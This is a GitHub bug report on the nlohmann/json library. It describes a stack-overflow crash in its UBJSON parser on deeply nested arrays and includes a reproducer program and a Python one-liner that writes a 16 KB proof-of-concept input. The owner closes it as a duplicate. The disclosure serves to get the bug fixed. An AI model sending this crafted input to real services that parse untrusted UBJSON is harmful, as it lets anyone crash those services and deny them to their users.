Skip to content

UBJSON parser stack overflow on deeply nested arrays (no recursion depth limit) #5452

Closed as duplicate

Description

@1820893135-pixel

Description

json::from_ubjson recurses through nested arrays with no maximum nesting-depth check. The mutual recursion detail::binary_reader::parse_ubjson_internal <-> get_ubjson_array <-> get_ubjson_value (single_include/nlohmann/json.hpp, compiled lines ~12568/13248/13364) runs once per nested array, so a small crafted UBJSON document (8192–16384 nested arrays) exhausts the process stack. AddressSanitizer reports stack-overflow (SIGABRT). This is a DoS vector for any application that calls from_ubjson on untrusted bytes. The CBOR and BSON parsers have the identical defect (separate reports).

Relevant code: detail::binary_reader::parse_ubjson_internal / get_ubjson_array / get_ubjson_value in single_include/nlohmann/json.hpp. UBJSON is specified at [ubjson.org](https://ubjson.org/).

Reproduction steps

Reproduction steps

  1. Check out the affected library:
    git clone --depth 1 --branch v3.12.0 https://github.com/nlohmann/json.git
    cd json
  2. Save this reproducer as repro.cpp:
    #include <cstdint>
    #include <fstream>
    #include <iostream>
    #include <iterator>
    #include <vector>
    #include <nlohmann/json.hpp>
    
    using json = nlohmann::json;
    
    int main(int argc, char** argv) {
        if (argc < 2) { std::cerr << "usage: " << argv[0] << " <poc.bin>\n"; return 2; }
        std::ifstream f(argv[1], std::ios::binary);
        std::vector<uint8_t> v(std::istreambuf_iterator<char>(f), std::istreambuf_iterator<char>());
        std::cerr << "[*] input size = " << v.size() << " bytes\n";
        try { json j = json::from_ubjson(v); std::cerr << "[*] from_ubjson ok\n"; }
        catch (const std::exception& e) { std::cerr << "[*] from_ubjson: " << e.what() << "\n"; }
        return 0;
    }
  3. Compile:
    clang++ -std=c++11 -O1 -g -fsanitize=address,undefined -fno-sanitize-recover=all \
      -I single_include repro.cpp -o repro
  4. Generate the POC (UBJSON unbounded arrays '[' × 8192, then 8192 ']', innermost integer 0x30) and run:
    python3 -c "open('poc.bin','wb').write(b'[' * 8192 + b']' * 8192 + b'0')"
    ./repro poc.bin   # or: ./build/out/fuzz_json <poc.bin> if built with the fuzz harness

Expected vs. actual results

Expected: parsing a deep but well-formed UBJSON document should either succeed or throw a controlled exception (e.g. a depth/parse error), as the text parser does for excessive nesting.

Actual: the process aborts with AddressSanitizer: stack-overflow (SIGABRT, exit 134). Full parse fails not with an exception but with a stack exhaustion crash.

Image

Minimal code example

The full repro.cpp above is the minimal self-contained example — it is 30 lines and only uses json::from_ubjson. The smallest triggering input is 16 KB.

Error messages

Running LLVMFuzzerInitialize ...
continue...
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3368743==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd2eaf1958 (pc 0x564cfe266fd5 bp 0x7ffd2eaf2190 sp 0x7ffd2eaf1960 T0)
    #0 ... in __asan_memset .../asan_interceptors_memintrinsics.cpp:67:3
    ... (recurrent get_ubjson_array / get_ubjson_value frames)
SUMMARY: AddressSanitizer: stack-overflow .../json.hpp:13265 in get_ubjson_array

Compiler and operating system

OS: Linux (x86_64) Compiler: clang / clang++ (LLVM), versions 12+ — reproduced with clang 22 Sanitizer flags: -fsanitize=address,undefined -fno-sanitize-recover=all Reproduced on 8 MB default process stack; any stack size below ~a few MB also fails

Library version

v3.12.0 (checked out from the GitHub repository via git clone --depth 1 --branch v3.12.0). The defect is present in the single-header release; the recursion has existed since the binary parsers were introduced.

Validation

Activity

  1. nlohmann commented on Sep 1, 2026

    @nlohmann
    Owner

    This is a known issue. PR #5293 is working on a fix. Closing this as duplicate.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions